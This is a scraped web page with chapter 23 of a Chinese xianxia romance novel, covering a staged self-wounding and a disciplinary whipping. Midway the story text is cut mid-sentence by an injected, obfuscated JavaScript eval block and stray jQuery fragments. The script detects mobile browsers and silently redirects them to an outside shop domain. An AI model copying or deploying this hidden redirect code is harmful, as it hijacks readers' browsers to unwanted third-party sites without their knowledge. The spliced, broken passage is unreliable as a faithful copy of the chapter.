文趣网 > 其他小说 > 女魔修手拿白莲花剧本 > 23.第23章 断念鞭
    白狼的鼻尖动了动,嗅到了血腥气,呲出一口獠牙,蓄势待发。

    林默羽见状,心思一沉。

    这狼现下出现在此地,想必九重岛的人,不出一会便会赶来,而段勇夫妇二人...

    段氏猜出她在顾虑什么,“妹子!你只要放过我,今天发生之事,我都能帮你遮掩过去!”

    闻声,林默羽收回视线,目光落在眼前妇人的身上,似是在犹豫要不要动手。

    忽然间,她嘴角勾起一抹弧度,语气温柔:“嫂嫂,黄泉太冷,去陪陪哥哥和爹娘吧。”

    语毕,手中的利刃顺滑地割开段氏的喉咙,温热黏腻的鲜血尽数溅在她衣上和脸上。

    “她不是说能帮你遮掩么,你怎么还动手杀她?!”

    早在段勇动手之时,蒋惜柔就已归于林默羽体内,让她能及时挣开绳索,出手反击。

    “失信之人,我绝不会再用第二次。”林默羽嘴角的弧度淡了下来,转着刀柄,将刀刃换了个方向。

    下一秒,利刃重新刺向腹部已有之伤。

    林默羽本以为亲自动手,不会像前世那般刺穿心脏那般难捱。

    可当匕首刺破血肉之时,熟悉的、锥心蚀骨的痛意,顿时席卷全身,眼中也泛起几丝湿意。

    寒风挟裹着雨丝,吹尽晦暗破败的义庄,林默羽合上双眼,吸了一口冷气,一把将匕首抽了出来,狠狠掷在满是血迹的青石砖上。

    “你这是做什么啊!”

    漂浮在她肩头的蒋惜柔,不懂她为何突然有此举,惊惧之间,语调都失了往日的娇媚和柔软。

    “你要不想让九重岛的人发现,就立刻闭上你的嘴,回到我体内!”

    林默羽冷声警告完,也不管蒋惜柔是否会听从她的命令,捂着渗着血伤口,踉跄地走到门口。

    她绕过毛发尽数立起的白狼,一步一步,缓缓踏入雨幕当中。

    绵密充沛的雨水,像万千根银针同时扎进她的体内,可她不能停,她要找到九重岛的人,让他们把自己带回去,带着自己去见沈翊寒。

    只有这般,她这一出苦肉计,才不算失败。

    只有这般,她才能留在九重岛,寻找机会,为族人和父亲报仇。

    血水混着雨水流淌了一路,林默羽的视线被雨水砸得模糊,看不清前方的泥路蜿蜒到何处。

    迷蒙之间,她见着一道霜寒长剑破空,匆匆往她所在的方向赶来。

    林默羽想去迎他,可受伤的身体浇了雨水,又强行走动,早已支撑不住。

    就在她意识不清,即将颓然倒地之时,那道身影破开氤氲雨幕,稳稳将她抱入怀中。

    冰冷刺骨的雨水被隔绝开来,一股熟悉的松柏香气萦绕全身。

    猜出来人是谁,林默羽再也抑制不住泛滥的委屈,毫不顾忌地伸出手,搂住来人。

    被她抱住的身体,顿时僵直不动,温度也比方才烫了几分。

    可来人却是察觉到她腹部的伤口,拉开了距离,御剑飞行,带着她离开了义庄。

    熨帖的温度骤失,林默羽心中生出几分埋怨,“好暖...别离开...”

    她将自己身子紧紧贴了上去,贪婪地汲取着这幅躯体熨帖的温度,像一条滑腻阴寒的藤蔓,死死缠着他不放。

    几缕发丝粘在沈翊寒修长的颈上,行动之间,轻轻拂过一方凸起,沈翊寒的下颌瞬间紧绷。

    他的喉结上下滚了滚,再开口时,原本清冷的声音,已喑哑一片。

    “段清羽,你认错人了。”

    可怀中之人不知是否因受了伤,神志不清,竟得寸进尺般地,将她的脸埋在了自己的肩窝处。

    他感受到她唇上的柔软,带着一股潮湿,擦过他裸露在外的肌肤,激起一阵令人战栗的酥痒。

    “混蛋...为何才来寻我...”

    听见这般娇嗔之语,沈翊寒不知为何,抱住她腰肢的手,下意识紧了紧。

    他的薄唇动了动,正犹豫要不要装成慕云朗,让怀中之人安分些时,可撩动他心弦之人却是头一歪,彻底昏死了过去。

    沈翊寒不敢再耽搁,以极快的速度御剑,带着人赶回九重岛。

    一道银光落在守在宗门前,一直守在此处的慕云朗,看着沈翊寒怀里的人浑身浴血,快步上前,迎了上去。

    “怎么伤成了这样?”

    慕云朗语气焦急,一脸关切,本想伸手接过自己的未婚妻,却发现自家师尊,好似并无松手之意。

    “小羽就交给我吧,我来照顾她。”慕云朗主动道,可师尊仍是一动不动,伸出的手僵在半空,

    他疑惑抬眸,正对上沈翊寒的那双眼,这双眼冷落霜雪,像是恨不得...他立刻消失不见。

    慕云朗小心翼翼地唤着他:“师尊?”

    沈翊寒听到这般称呼,眸色方缓,旋即将林默羽送至慕云朗手中。

    “好生照顾。”

    撂下这句话,沈翊寒带着一身的凛冽风雨,大步流星地前往天极峰的方向。

    *

    三日后,凌天峰。

    四位德高望重、威仪无比的仙尊,现下齐聚在戒律堂内,让原本不大宽敞的堂口,显得分外逼仄压抑。

    周遭的气压,更是在那眉眼锐利的男子开口说话时,被带到了最低处。

    “虞掌座是要包庇亲眷么?”

    沈翊寒冷声开口,吓得跪在地上的虞凌霜,身子都跟着抖了起来。

    她从来不知,这位深居简出的沈师叔,死咬着一件事不放之时,竟是这般可怖可怕。

    三日前,沈翊寒救回被掳走的林默羽,直奔天极峰而去,用了些手段让掌门亲自下令,责罚与这件事有牵连的所有人。

    这其中自然包括虞凌霜。

    这传令下来之时,虞凌霜及她父亲并未放在心上,想着宗内事务众多,拖延几日,便会不了了之。

    不曾想,沈翊寒今日突然出现,将她从春风渡押到了戒律堂,抄起堂前供起的断念鞭,就要亲自动手对她施加鞭刑。

    幸而被她父亲和掌门厉天擎拦了下来。

    “那女子哥嫂已亡,现在也只有守门弟子的供词,能证明凌霜她误传消息。但本座细细追查过,她不过是道听途说而已,无心之失,沈师弟真要置她于死地么?

    沈翊寒却是冷嗤一声,打断虞晦舟接下来的话,“她这无心之过,可是让段清羽缠绵卧榻,三日未醒。”

    虞晦舟见他不为所动,又动之以情:“她可是你从小看着长大的师侄,你何必因一个外人...”

    “段清羽是我徒之妻,论起亲疏,有何分别?”

    此话一出,死一般的阒静在戒律堂内荡漾开来。

    在场的各位谁也没料到,沈翊寒这般清冷疏离的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712221|205965||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人物,会将弟子未过门的未婚妻,这般严正对待。

    虞凌霜神色慌乱,呼吸急促,她出手拽了拽眼前的衣摆。

    “断念鞭元婴期修士都经不住几下,何况我现在才结丹境!几鞭下去,我的修为肯定是会下跌的!爹!”

    虞晦舟觑了下掌门厉天擎的脸色,见他暗中点了点头,冷着脸,一把将衣服从虞凌霜手中抽出,“现下叫谁也没用。”

    继而,他摊开手和沈翊寒道:“沈师弟,你既然一定要责罚凌霜,不如把鞭子交给我。”

    沈翊寒拎着鞭子,缓缓上前,像个居高临下的君主,重重将鞭子放在虞晦舟手中。

    拿到鞭子后,虞晦舟将瑟瑟发抖的虞凌霜带离,去往一旁无人的静室。

    这一间间单独的静室,原本还是虞凌霜监督建造,用来对犯错的弟子审讯问责的,现下受刑之人却换成了虞凌霜。

    咻——咻——咻。

    鞭子破开空气,发出骇人的低鸣,伴着女子凄厉的惨叫,一下接着一下,灌入在场所有人的耳中。

    有几人听得面色发白,暗中打量着沈翊寒,只见其像是一尊无悲无喜的玉雕,神色淡漠如水,丝毫不为所动。

    鞭声总共响了五下,静室的房门被人从内推开,虞晦舟提着带血的鞭子,走至沈翊寒等人面前。

    待走近了,众人才发觉他面上虽八风不动,执鞭的手却是在不住颤抖。

    “鞭刑已施加完毕,凌霜境界已跌至筑基后期,不知沈掌座可否满意?”

    沈翊寒冷漠地睨了他一眼,沉静道:“段清羽尚未苏醒。”

    言外之意,如若段清羽死了,他定是要追究到底,让虞凌霜一命还一命。

    “沈翊寒,你不要得寸进尺!”

    虞晦舟当着众人的面,直呼起沈翊寒的全名,众人瞧着他胡子乱飞,眼睛猩红的模样,便知他已被逼到了极致。

    一直沉默不言的厉天擎,终于在此刻开了口。

    “翊寒,做到这步就可以了,难不成真因一届凡人,毁了一个结丹的好苗子?”

    “你我未进修仙之徒时,也曾是一届凡人,有何高低贵贱之分?”

    “那你是何意思,难道要为那凡女,杀了凌霜偿命?”

    面对沈翊寒,厉天擎一向有商有量,尊重有加,而今日却是难得摆出一副掌门架子,出言冷斥。

    沈翊寒正欲争辩,腰间悬挂的通信玉牌,却是忽然亮了一下。

    他手指一抹,对面的声音即刻传了过来:“师尊,小羽醒了。”

    沈翊寒应了慕云朗一声,随即收起玉牌,和厉天擎拱手告辞:“今日便先如此,沈某先行告退。”

    在众人惊诧的眼神当中,那一抹霜白身影径直离开,浑然不顾身后掌门现下是何脸色。

    卢青瑶见势不对,和掌门恭敬道别,追着沈翊寒离去的身影,跟了上去。

    沈翊寒面色如常,毫无波动,但脚下步伐极快,宽大衣摆也在行走之间,猎猎作响。

    等到卢青瑶追上时,他已出了凌天峰,召出佩剑,准备回到自己峰内。

    “师兄,还请留步。”卢青瑶叫住他。

    可沈翊寒却不想多做停留,直接推拒道:“有事晚些再说。”

    “那我便长话短说。”卢青瑶横在沈翊寒面前,阻了他的去路,“不知师兄可曾看过那两具凡人的尸体?”